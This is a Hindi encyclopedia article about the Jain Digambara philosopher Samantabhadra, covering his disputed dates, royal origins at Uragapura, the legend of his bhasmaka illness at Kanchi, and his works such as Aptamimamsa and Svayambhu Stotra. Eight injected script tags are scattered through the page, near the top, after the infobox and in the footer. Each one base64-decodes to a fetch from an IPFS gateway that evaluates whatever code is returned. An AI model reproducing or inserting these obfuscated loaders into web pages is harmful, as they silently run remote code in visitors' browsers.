समन्तभद्र
एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें:- समन्तभद्र (बहुविकल्पी) |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
समन्तभद्र
| |
अन्य नाम | शान्तिवर्मा |
समय-काल | कोई विद्वान इन्हें ईसा की तीसरी शताब्दी के बाद का मानता है तो कोई ईसा की सातवीं-आठवीं शताब्दी का। |
धर्म-संप्रदाय | जैन दिगम्बर |
संबंधित लेख | जैन धर्म, तीर्थंकर, जैन मन्दिर |
कृतियाँ | आप्तमीमांसा (देवागम), युक्त्यनुशासन, स्वयम्भू स्तोत्र, रत्नकरण्डकश्रावकाचार, जिनशतक |
विशेष | सुन्दर स्तुतियाँ रचने में समन्द्रभद्र की बड़ी रुचि थी। 'स्वयंभूस्तोत्र', 'देवागम' और 'युक्त्यनुशासन' उनके प्रमुख स्तुति ग्रन्थ हैं। |
अन्य जानकारी | समन्तभद्र जैन धर्म एवं सिद्धांतों के मर्मज्ञ होने के साथ ही तर्क, व्याकरण, छन्द, अलंकार और काव्यकोषादि ग्रन्थों में पूरी तरह निष्णात थे। इनको 'स्वामी' पद से विशेष तौर पर विभूषित किया गया है। |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
आचार्य समन्तभद्र जैन दार्शनिकों में आचार्य कुन्दकुन्द के बाद दिगम्बर परम्परा में अग्रणी और प्रभावशाली तार्किक हुए हैं। 'रत्नकरण्डकश्रावकाचार्य' ग्रन्थ के कर्ता आचार्य समन्तभद्र स्वामी हैं। प्रतिभाशाली आचार्यों, समर्थ विद्वानों एवं पूज्य महात्माओं में इनका स्थान बहुत ऊँचा है। ये 'समन्तातभद्र' थे, अर्थात बाहर भीतर सब ओर से भद्र रूप थे। समन्तभद्र बहुत बड़े योगी, त्यागी, तपस्वी एवं तत्त्वज्ञानी महापुरुष थे। वे जैन धर्म एवं सिद्धांतों के मर्मज्ञ होने के साथ ही तर्क, व्याकरण, छन्द, अलंकार और काव्यकोषादि ग्रन्थों में पूरी तरह निष्णात थे। इनको 'स्वामी' पद से विशेष रूप से विभूषित किया गया है।
समय काल
समन्तभद्र ने किस समय इस धरा को सुशोभित किया, इसका कोई स्पष्ट उल्लेख नहीं मिलता है। कोई विद्वान इन्हें ईसा की तीसरी शताब्दी के बाद का मानता है तो कोई ईसा की सातवीं-आठवीं शताब्दी का। इस सम्बन्ध में सुप्रसिद्ध इतिहासकार स्वर्गीय पंडित जुगलकिशोर मुख़्तार ने अपने विस्तृत लेखों में अनेक प्रमाण देकर यह स्पष्ट किया है कि स्वामी समन्तभद्र 'तत्त्वार्थ सूत्र' के दर्ता आचार्य उमास्वामी के पश्चात् एवं पूज्यपाद स्वामी के पूर्व हुए हैं। अतः ये असन्दिग्ध रूप से विक्रम की दूसरी-तीसरी शताब्दी के महान् विद्वान थे। अभी समन्तभद्र के सम्बन्ध में यही विचार सर्वमान्य माना जा रहा है।
अपवाद
संसार की मोह ममता से दूर रहने वाले अधिकांश जैनाचार्यों के माता-पिता तथा जन्म स्थान आदि का कुछ भी प्रमाणिक इतिहास उपलब्ध नहीं है। समन्तभद्र स्वामी भी इसके अपवाद नहीं है। श्रवणबेलगोला के विद्वान दौर्बलिजिनदास शास्त्री के शास्त्र भंडार में सुरक्षित 'आप्तमीमांसा' की एक प्राचीन ताड़पत्रीय प्रति के निम्नांकित पुष्पिकावाक्य से स्पष्ट है कि समन्तभद्र फणिमंड्लान्तर्गत उरगपुर के राजा के पुत्र थे-
'इति श्री फणिमंडलालंकार स्योरगपुराधिपसूनोः श्रीस्वामी समन्तभद्रमुनेः कृतौ आप्तमीमांसायाम्'
इसके आधार पर उरगपुर समन्तभद्र की जन्मभूमि अथवा बाल क्रीड़ा भूमि होती है। यह उरग्पुर ही वर्तमान का 'उरैयूर' जान पड़ता है। उरगपुर चोल राजाओं की प्रचीन राजधानी रही है। पुरानी त्रिचनापल्ली भी इसी को कहते हैं। समन्तभद्र का प्रारम्भिक नाम 'शान्तिवर्मा' था। दीक्षा के पहले आपकी शिक्षा या तो उरैयूर में हुई अथवा कांची या मदुरै में हुई जान पड़ती है, क्योंकि ये तीनों ही स्थान उस समय दक्षिण भारत में विद्या के मुख्य केन्द्र थे। इन सब स्थानों में उस समय जैनियों के अच्छे-अच्छे मठ भी मौजूद थे। समन्तभद्र की दीक्षा का स्थान कांची या उसके आसपास कोई गांव होना चाहिए। ये कांची के दिगम्बर साधु थे।[१] पितृकुल की तरह समन्तभद्र के गुरुकुल का भी कोई स्पष्ट लेख नहीं मिलता है, और न ही इनके दीक्षा गुरु के नाम का ही पता चल पाया है। ये मूल्संघ के प्रधान आचार्य थे। श्रवणबेलगोला के कुछ शिलालेखों से इतना ही पता चलता है कि समन्तभद्र भद्रबाहु श्रुतकेवली, उनके शिष्य चन्द्रगुप्तमुनि के वंशज पद्मनन्दि अपर नाम कोन्डकुन्द मुनिराज उनके वंशज उमास्वाति की वंश परम्परा में हुए थे।[२]
'भस्मक' रोग से पीड़ित
जब समन्तभद्र बड़े ही उत्साह के साथ मुनि धर्म का पालन करते हुए ‘मणुवकहल्ली’ ग्राम में धर्म, ध्यान सहित मुनि जीवन व्यतीत कर रहे थे, उस समय असाता वेदनीय कर्म के प्रबल उदय से इनको 'भस्मक' नाम का रोग हो गया था। मुनिचर्या में इस रोग का शमन होना असंभव जानकर ये अपने गुरु के पास पहँचे और उनसे रोग का हाल कहा। इस पर इनके गुरु ने कहा कि- "सल्लेखना का समय नहीं आया है और आप द्वारा वीरशासन कार्य के उद्धार की आशा है। अतः जहाँ पर जिस वेष में रहकर रोगशमन के योग्य तृप्ति भोजन प्राप्त हो, वहाँ जाकर उसी वेष को धारण कर लो। रोग उपशान्त होने पर फिर से जैन दीक्षा धारण करके सब कार्यों को सम्भाल लेना।" गुरु की आज्ञा लेकर समन्तभद्र ने दिगम्बर वेष का त्याग किया। आप वहाँ से चलकर काँची पहुँचे और वहाँ के राजा के पास जाकर शिवभोग की विशाल अन्न राशि को शिवपिण्ड को खिला सकने की बात कही। पाषाण निर्मित शिवजी की पिण्डी साक्षात् भोग ग्रहण करे, इससे बढ़कर राजा को और क्या चाहिए था। वहाँ के मन्दिर के व्यवस्थापक ने समन्तभद्र को मन्दिर में रहने की स्वीकृति दे दी। मन्दिर के किवाड़ बन्द करके वे स्वयं विशाल अन्नराशि को खाने लगे और लोगों को बता देते थे कि शिव ने भोग को ग्रहण कर लिया है। शिव भोग से उनकी व्याधि धीरे-धीरे ठीक होने लगी और भोजन बचने लगा। अन्त में गुप्तचरों से पता लगा कि ये शिवभक्त नहीं हैं। इससे राजा बहुत क्रोधित हुआ और उसने इन्हें यथार्थता बताने को कहा।[१] उस समय समन्तभद्र ने निम्न श्लोक में अपना परिचय दिया-
"काञ्च्यां नग्नाटकोऽहं मलमलिनतनुर्लाम्बुशे पाण्डुपिण्डः
पुण्डोण्ड्रे शाक्यभिक्षुः दशपुरनगरे मिष्टभोजी परिव्राट्।
वाराणस्यामभूर्व शशकरधवलः पाण्डुरांगस्तपस्वी
राजन् यस्याऽस्ति शक्तिः स वदतु-पुरतो जैननिर्ग्रन्थवादी॥
अर्थात "कांची में मलिन वेषधारी दिगम्बर रहा, लाम्बुस नगर में भस्म रमाकर शरीर को श्वेत किया, पुण्डोण्ड्र में जाकर बौद्ध भिक्षु बना, दशपुर नगर में मिष्ट भोजन करने वाला संन्यासी बना, वाराणसी में श्वेत वस्त्रधारी तपस्वी बना। राजन आपके सामने दिगम्बर जैनवादी खड़ा है, जिसकी शक्ति हो मुझसे शास्त्रार्थ कर ले।"
राजा ने शिवमूर्ति को नमस्कार करने का आग्रह किया। समन्तभद्र कवि थे। उन्होंने चौबीस तीर्थंकरों का स्तवन शुरु किया। जब वे आठवें तीर्थंकर चन्द्रप्रभ का स्तवन कर रहे थे, तब चन्द्रप्रभ भगवान की मूर्ति प्रकट हो गई। स्तवन पूर्ण हुआ। यह स्तवन 'स्वयंभूस्तोत्र' के नाम से प्रसिद्ध है। यह कथा 'ब्रह्म नेमिदत्त कथाकोष' के आधार पर है।[१]
कृतियाँ
उत्तरवर्ती आचार्यों ने इनका अपने ग्रन्थों में जो गुणगान किया है वह अभूतपूर्व है। इन्हें वीरशासन का प्रभावक और सम्प्रसारक कहा है। इनका अस्तित्व ईसा की दूसरी तीसरी शती माना जाता है। स्याद्वाददर्शन और स्याद्वादन्याय के ये आद्य प्रभावक हैं। जैन न्याय का सर्वप्रथम विकास इन्होंने अपनी कृतियों और शास्त्रार्थों द्वारा प्रस्तुत किया है। इनकी निम्न कृतियाँ प्रसिद्ध हैं-
- आप्तमीमांसा (देवागम),
- युक्त्यनुशासन,
- स्वयम्भू स्तोत्र,
- रत्नकरण्डकश्रावकाचार
- जिनशतक।
इनमें आरम्भ की तीन रचनाएँ दार्शनिक एवं तार्किक हैं, चौथी सैद्धान्तिक और पाँचवीं काव्य है। इनकी कुछ रचनाएँ अनुपलब्ध हैं, पर उनके उल्लेख और प्रसिद्धि है। उदाहरण के लिए इनका 'गन्धहस्ति-महाभाष्य' बहुचर्चित है। जीवसिद्धि प्रमाणपदार्थ, तत्त्वानुशासन और कर्मप्राभृत टीका इनके उल्लेख ग्रन्थान्तरों में मिलते हैं। पं. जुगलकिशोर मुख़्तार ने इन ग्रन्थों का अपनी 'स्वामी समन्तभद्र' पुस्तक में उल्लेख करके शोधपूर्ण परिचय दिया है।
स्तुति रचना
अर्हद्गुणों की प्रतिपादक सुन्दर-सुन्दर स्तुतियाँ रचने में समन्द्रभद्र की बड़ी रुचि थी। उन्होंने अपने ग्रन्थ 'स्तुतिविद्या' में "सुस्तुत्यां व्यसन" वाक्य द्वारा अपने आपको स्तुतियाँ रचने का व्यसन बतलाया है। 'स्वयंभूस्तोत्र', 'देवागम' और 'युक्त्यनुशासन' उनके प्रमुख स्तुति ग्रन्थ हैं। इन स्तुतियों में उन्होंने जैनागम का सार एवं तत्त्वज्ञान को कूट-कूट कर भर दिया है। देवागम स्तोत्र में सिर्फ 114 श्लोक ही समन्तभद्र ने लिखे हैं। इस स्तोत्र पर अकलंकदेव ने 'अष्टशती' नामक 800 श्लोक प्रमाण वृत्ति लिखी, जो बहुत ही गूढ़ सूत्रों में है। इस वृत्ति को साथ लेकर विद्यानन्दाचार्य ने 'अष्टसहस्री' टीका लिखी थी, जो 8000 श्लोक परिमाण है। इससे यह स्पष्ट होता है कि यह ग्रन्थ कितने अधिक अर्थगौरव को लिए हुए है। इसी ग्रन्थ में आचार्य महोदय ने एकान्तवादियों को स्वपर वैरी बताया है-
'एकान्तगृहरक्तेषुनाथ स्वपरवैरिषु'
इन ग्रन्थों का हिन्दी अर्थ सहित प्रकाशन हो चुका है। उपर्युक्त उपलब्ध ग्रन्थों के अलावा समन्तभद्र के द्वारा रचित निम्न ग्रन्थों के भी उल्लेख मिलते हैं, जो उपलब्ध नहीं हो पाये हैं-
- जीवसिद्धि
- तत्त्वानुशासन
- प्राकृत व्याकरण
- प्रमाणपदार्थ
- कर्मप्राभृत टीका
- गन्धहस्तिमहाभाष्य
महावीर स्वामी के पश्चात् अनेक महान् आचार्य हमारे यहाँ हुए हैं, उनमें से किसी भी आचार्य एवं मुनिराजों के विषय में यह उल्लेख नहीं मिलता कि वे भविष्य में इसी भारतवर्ष में तीर्थंकर होंगे। स्वामी समन्तभद्र के सम्बन्ध में यह उल्लेख अनेक शास्त्रों में मिलता है। इससे इनके चरित्र का गौरव भी बढ़ जाता है।[१]
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और सन्दर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
वर्णमाला क्रमानुसार लेख खोज
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>